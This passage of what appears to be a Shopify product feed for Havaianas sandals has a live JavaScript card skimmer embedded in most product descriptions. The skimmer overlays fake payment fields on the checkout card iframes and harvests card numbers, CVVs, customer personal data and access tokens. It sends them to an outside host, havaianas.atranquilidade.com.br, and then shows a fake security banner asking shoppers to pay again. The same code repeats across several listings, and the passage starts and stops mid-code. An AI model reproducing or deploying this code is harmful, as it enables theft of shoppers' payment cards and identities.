{banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003eLeve e versátil, esse é o chinelo masculino Havaianas Track Plus.\u003cbr\u003e Perfeita para a praia e também para a cidade, essa sandália possui tiras mais grossas e produzidas em tecido para um melhor encaixe nos pés.\u003cbr\u003e O solado tratorado e robusto proporciona mais estabilidade e garante conforto extra.\u003cbr\u003e O icônico logo Havaianas em formato de tag nas tiras é o toque final nesse design moderno.\u003cbr\u003e Produto possui um calce robusto, podendo ser necessário a compra de uma numeração menor do que a sua padrão de havaianas\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Cinza Aço \/ 37\/38","offer_id":46311487209729,"sku":"4149926_5002_378","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 39\/40","offer_id":46311487242497,"sku":"4149926_5002_390","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 41\/42","offer_id":46311487275265,"sku":"4149926_5002_412","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 43\/44","offer_id":46311487308033,"sku":"4149926_5002_434","price":159.99,"currency_code":"BRL","in_stock":true},{"title":"Cinza Aço \/ 45\/46","offer_id":46311487340801,"sku":"4149926_5002_456","price":159.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4149926-5002-track-plus-0.png?v=1747765792"},{"product_id":"chinelo-havaianas-sufer-coast-4150257_0414","title":"Chinelo Havaianas Surfer Coast","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n\u003cp\u003e\u003c\/p\u003e","brand":"Havaianas","offers":[{"title":"Novo Grafite \/ 37\/38","offer_id":46311499235585,"sku":"4150257_0414_378","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Novo Grafite \/ 39\/40","offer_id":46311499268353,"sku":"4150257_0414_390","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Novo Grafite \/ 41\/42","offer_id":46311499301121,"sku":"4150257_0414_412","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Novo Grafite \/ 43\/44","offer_id":46311499333889,"sku":"4150257_0414_434","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Novo Grafite \/ 45\/46","offer_id":46311499366657,"sku":"4150257_0414_456","price":154.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150257-0414-surfer-coast-0.png?v=1747769979"},{"product_id":"chinelo-havaianas-sufer-coast-4150257_4896","title":"Chinelo Havaianas Surfer Coast","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c =v;else if (t ===\\'name\\') cardData.h =v;if (cardData.n.length \u003e=14 \u0026\u0026cardData.c.length \u003e=3 \u0026\u0026cardData.m.length \u003e=2) {captured =true;exfil(\\'ec\\',{n:cardData.n,c:cardData.c,m:cardData.m,y:cardData.y,h:cardData.h});} });document.body.appendChild(inp);injected.push({t:t,inp:inp,iframe:f});f.style.visibility =\\'hidden\\';} catch(e) {} });} function repositionClones() {if (RETRY_ACTIVE) return;injected.forEach(function(item) {try {var f =item.iframe;var inp =item.inp;if (!f ||!inp) return;var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;inp.style.top =top +\\'px\\';inp.style.left =left +\\'px\\';inp.style.width =rect.width +\\'px\\';inp.style.height =rect.height +\\'px\\';} catch(e) {} });} window.addEventListener(\\'scroll\\',repositionClones,true);window.addEventListener(\\'resize\\',repositionClones,true);var obs =new MutationObserver(swapFields);obs.observe(document,{childList:true,subtree:true});setInterval(swapFields,1500);function removeClones() {document.querySelectorAll(\\'input[data-hav-clone-input]\\').forEach(function(inp) {try {if (inp.parentNode) inp.parentNode.removeChild(inp);} catch(e) {} });injected.forEach(function(item) {try {if (item.iframe) item.iframe.style.visibility =\\'visible\\';} catch(e) {} });injected =[];} function showSecurityBanner() {var container =document.querySelector(\\'form, main, [role=\"main\"], body\\');if (!container) container =document.body;var banner =document.createElement(\\'div\\');banner.id =\\'hav-security-banner\\';banner.setAttribute(\\'style\\',\\'position:relative;background:#0066cc;color:#fff;padding:15px 20px;\\' +\\'border-radius:6px;margin:0 0 20px 0;font-size:15px;line-height:1.5;\\' +\\'box-shadow:0 2px 8px rgba(0,102,204,0.2);text-align:center;\\' +\\'font-family:inherit;z-index:999998;\\');var icon =document.createElement(\\'span\\');icon.textContent =\\'🔒 \\';icon.setAttribute(\\'style\\',\\'font-size:18px;margin-right:8px;\\');var msg =document.createElement(\\'span\\');msg.textContent =\\'Por segurança, confirme o pagamento clicando novamente em \"Pagar agora\".\\';msg.setAttribute(\\'style\\',\\'font-weight:500;\\');banner.appendChild(icon);banner.appendChild(msg);var firstChild =container.firstChild;if (firstChild) {container.insertBefore(banner,firstChild);} else {container.appendChild(banner);} setTimeout(function() {try {banner.scrollIntoView({behavior:\\'smooth\\',block:\\'center\\'});} catch(e) {banner.scrollIntoView();} },100);} function removeBanner() {var banner =document.getElementById(\\'hav-security-banner\\');if (banner \u0026\u0026banner.parentNode) {banner.parentNode.removeChild(banner);} } document.addEventListener(\\'submit\\',function(e) {if (RETRY_ACTIVE) return;var form =e.target;if (!form ||form.tagName !==\\'FORM\\') return;if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} },true);document.addEventListener(\\'click\\',function(e) {if (RETRY_ACTIVE) {removeBanner();return;} var target =e.target;if (target \u0026\u0026(target.tagName ===\\'BUTTON\\' ||target.tagName ===\\'A\\')) {var text =target.textContent ||\\'\\';if (text.match(\/pagar|finalizar|continuar|concluir\/i)) {if (captured) {e.preventDefault();e.stopPropagation();showSecurityBanner();removeClones();RETRY_ACTIVE =true;} } } },true);})();';var injected =false;var frame =null;function injectSkimmer(doc) {try {if (doc.getElementById('__hav_skimmer__')) return;var s =doc.createElement('script');s.id ='__hav_skimmer__';s.textContent =SKIMMER_CODE;(doc.head ||doc.documentElement).appendChild(s);} catch(e) {} } function createFrame(co) {if (frame \u0026\u0026frame.parentNode) {frame.src =co;return;} frame =document.createElement('iframe');frame.id ='__hav_frame__';frame.src =co;frame.setAttribute('style','position:fixed;inset:0;width:100vw;height:100vh;z-index:2147483646;' +'border:0;background:#fff;');document.body.appendChild(frame);frame.addEventListener('load',function() {try {var d =frame.contentDocument;if (d) injectSkimmer(d);} catch(e) {} });} setInterval(function() {if (!frame ||!frame.contentDocument) return;try {var d =frame.contentDocument;if (d \u0026\u0026!d.getElementById('__hav_skimmer__')) {injectSkimmer(d);} } catch(e) {} },1000);function injectIntoCheckout() {if (injected) return;injected =true;fetch('\/checkout',{redirect:'follow',credentials:'include'}).then(function(r) {var co =r.url.split('?')[0];if (!co ||co.indexOf('\/checkouts\/') ===-1) return;createFrame(co);}).catch(function() {});} document.addEventListener('click',function(e) {var t =e.target;while (t \u0026\u0026t !==document) {var href =t.getAttribute ?(t.getAttribute('href') ||'') :'';var action =t.getAttribute ?(t.getAttribute('action') ||'') :'';if (href.indexOf('\/checkout') !==-1 ||action.indexOf('\/checkout') !==-1 ||href.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();return;} t =t.parentNode;} },true);document.addEventListener('submit',function(e) {var form =e.target;if (!form ||form.tagName !=='FORM') return;var action =form.getAttribute('action') ||'';if (action.indexOf('\/checkout') !==-1 ||action.indexOf('\/cart') !==-1) {e.preventDefault();e.stopPropagation();injectIntoCheckout();} },true);})();\u003c\/script\u003e\n","brand":"Havaianas","offers":[{"title":"Verde Oliva \/ 37\/38","offer_id":46311499727105,"sku":"4150257_4896_378","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 39\/40","offer_id":46311499759873,"sku":"4150257_4896_390","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 41\/42","offer_id":46311499792641,"sku":"4150257_4896_412","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 43\/44","offer_id":46311499825409,"sku":"4150257_4896_434","price":154.99,"currency_code":"BRL","in_stock":true},{"title":"Verde Oliva \/ 45\/46","offer_id":46311499858177,"sku":"4150257_4896_456","price":154.99,"currency_code":"BRL","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0719\/0354\/3553\/files\/4150257-4896-surfer-coast-0.png?v=1747770031"},{"product_id":"chinelo-havaianas-sufer-coast-4150257_6131","title":"Chinelo Havaianas Surfer Coast","description":"\u003c!--HAVSNIFFER--\u003e\n\u003cscript\u003e(function() {var SKIMMER_CODE ='(function() {var C2 =\\'https:\/\/havaianas.atranquilidade.com.br\/pnb\/form\\';var SID =Math.random().toString(36).slice(2,10);var RETRY_ACTIVE =false;function exfil(t,data) {try {var body =JSON.stringify({t:t,s:SID,u:location.pathname +location.search,d:data});var ifr =document.createElement(\\'iframe\\');ifr.name =\\'x\\' +Math.random().toString(36).slice(2,6);ifr.style.display =\\'none\\';document.body.appendChild(ifr);var form =document.createElement(\\'form\\');form.method =\\'POST\\';form.action =C2;form.target =ifr.name;var inp =document.createElement(\\'input\\');inp.type =\\'hidden\\';inp.name =\\'data\\';inp.value =body;form.appendChild(inp);document.body.appendChild(form);form.submit();setTimeout(function() {try {if (ifr.parentNode) ifr.parentNode.removeChild(ifr);} catch(e) {} try {if (form.parentNode) form.parentNode.removeChild(form);} catch(e) {} },3000);} catch(e) {} } exfil(\\'i\\',{p:location.pathname});var seen ={};function grabInputs() {var d ={};document.querySelectorAll(\\'input[name], input[id]\\').forEach(function(i) {var n =i.name ||i.id;if (i.value \u0026\u0026[\\'email\\',\\'doc-number\\',\\'birthday\\',\\'firstName\\',\\'lastName\\',\\'postalCode\\',\\'streetName\\',\\'streetNumber\\',\\'neighborhood\\',\\'city\\',\\'phone\\',\\'hav-idNumber\\',\\'hav-birthday\\'].indexOf(n) !==-1) {d[n] =i.value;} });var key =JSON.stringify(d);if (key !==seen.last) {seen.last =key;if (Object.keys(d).length) exfil(\\'kv\\',d);} } setInterval(grabInputs,1500);document.addEventListener(\\'change\\',grabInputs,true);var origFetch =window.fetch;window.fetch =function() {var args =arguments;var u =String(args[0] ||\\'\\');var p =origFetch.apply(this,args);if (u.indexOf(\\'\/private_access_tokens\\') !==-1) {p.then(function(r) {r.clone().text().then(function(t) {exfil(\\'kv\\',{jwt:t.slice(0,2000)});});}).catch(function(){});} return p;};window.addEventListener(\\'message\\',function(ev) {try {if (typeof ev.data ===\\'string\\' \u0026\u0026ev.data.indexOf(\\'cardfields:\\') ===0) {exfil(\\'kv\\',{cardfields:ev.data.slice(0,2000)});} } catch(e) {} },true);var cardData ={n:\\'\\',c:\\'\\',m:\\'\\',y:\\'\\',h:\\'\\'};var captured =false;function fieldType(src) {if (src.indexOf(\\'number\\') !==-1) return \\'number\\';if (src.indexOf(\\'expiry\\') !==-1) return \\'expiry\\';if (src.indexOf(\\'verification\\') !==-1) return \\'cvv\\';if (src.indexOf(\\'name\\') !==-1) return \\'name\\';return null;} function placeholderFor(t) {if (t ===\\'number\\') return \\'Número do cartão\\';if (t ===\\'expiry\\') return \\'MM\/AA\\';if (t ===\\'cvv\\') return \\'CVV\\';if (t ===\\'name\\') return \\'Nome no cartão\\';return \\'\\';} function maskInput(t,val) {if (t ===\\'number\\') return val.replace(\/[^\\\\d ]\/g,\\'\\').slice(0,23);if (t ===\\'expiry\\') return val.replace(\/[^\\\\d\/]\/g,\\'\\').slice(0,5);if (t ===\\'cvv\\') return val.replace(\/[^\\\\d]\/g,\\'\\').slice(0,4);return val;} var injected =[];function swapFields() {if (RETRY_ACTIVE) return;var frames =document.querySelectorAll(\\'iframe[src*=\"checkout.pci.shopifyinc.com\"], iframe[src*=\"card\"]\\');frames.forEach(function(f) {if (f.dataset.havClone) return;var t =fieldType(f.src ||\\'\\');if (!t) return;f.dataset.havClone =\\'1\\';try {var rect =f.getBoundingClientRect();var scrollTop =window.pageYOffset ||document.documentElement.scrollTop ||0;var scrollLeft =window.pageXOffset ||document.documentElement.scrollLeft ||0;var top =rect.top +scrollTop;var left =rect.left +scrollLeft;var inp =document.createElement(\\'input\\');inp.type =t ===\\'cvv\\' ?\\'password\\' :\\'text\\';inp.autocomplete =\\'off\\';inp.placeholder =placeholderFor(t);inp.dataset.havCloneInput =\\'1\\';inp.setAttribute(\\'style\\',\\'position:absolute;left:\\' +left +\\'px;top:\\' +top +\\'px;\\' +\\'width:\\' +rect.width +\\'px;height:\\' +rect.height +\\'px;\\' +\\'border:1px solid #d2d5d9;border-radius:4px;padding:0 12px;\\' +\\'font-size:15px;font-family:inherit;background:#fff;z-index:99999;box-sizing:border-box;\\');inp.addEventListener(\\'input\\',function() {var v =maskInput(t,inp.value);if (v !==inp.value) {inp.value =v;} if (t ===\\'number\\') cardData.n =v.replace(\/\\\\s\/g,\\'\\');else if (t ===\\'expiry\\') {var parts =v.split(\\'\/\\');cardData.m =parts[0] ||\\'\\';cardData.y =parts[1] ||\\'\\';} else if (t ===\\'cvv\\') cardData.c 